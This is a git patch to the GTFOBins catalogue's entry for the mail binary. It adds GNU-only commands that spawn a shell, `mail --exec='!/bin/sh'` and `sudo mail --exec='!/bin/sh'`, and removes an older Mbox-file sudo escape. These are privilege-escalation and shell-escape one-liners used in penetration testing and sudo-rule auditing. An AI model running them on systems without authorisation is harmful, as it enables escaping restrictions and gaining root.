From dd9f4269ed4ff3605120185796e06d43f88e7773 Mon Sep 17 00:00:00 2001
From: Jonathan Siegel <jonathan@siegel.io>
Date: Tue, 19 Feb 2019 11:27:35 +0100
Subject: [PATCH] Add the GNU version of mail

Close #54.
---
 _gtfobins/mail.md | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/_gtfobins/mail.md b/_gtfobins/mail.md
index 10a2bff..4198b83 100644
--- a/_gtfobins/mail.md
+++ b/_gtfobins/mail.md
@@ -1,6 +1,8 @@
 ---
 functions:
   shell:
+    - description: GNU version only.
+      code: mail --exec='!/bin/sh'
     - description: This creates a valid Mbox file which may be required by the binary.
       code: |
         TF=$(mktemp)
@@ -8,10 +10,6 @@ functions:
         mail -f $TF
         !/bin/sh
   sudo:
-    - description: This creates a valid Mbox file which may be required by the binary.
-      code: |
-        TF=$(mktemp)
-        echo "From nobody@localhost $(date)" > $TF
-        sudo mail -f $TF
-        !/bin/sh
+    - description: GNU version only.
+      code: sudo mail --exec='!/bin/sh'
 ---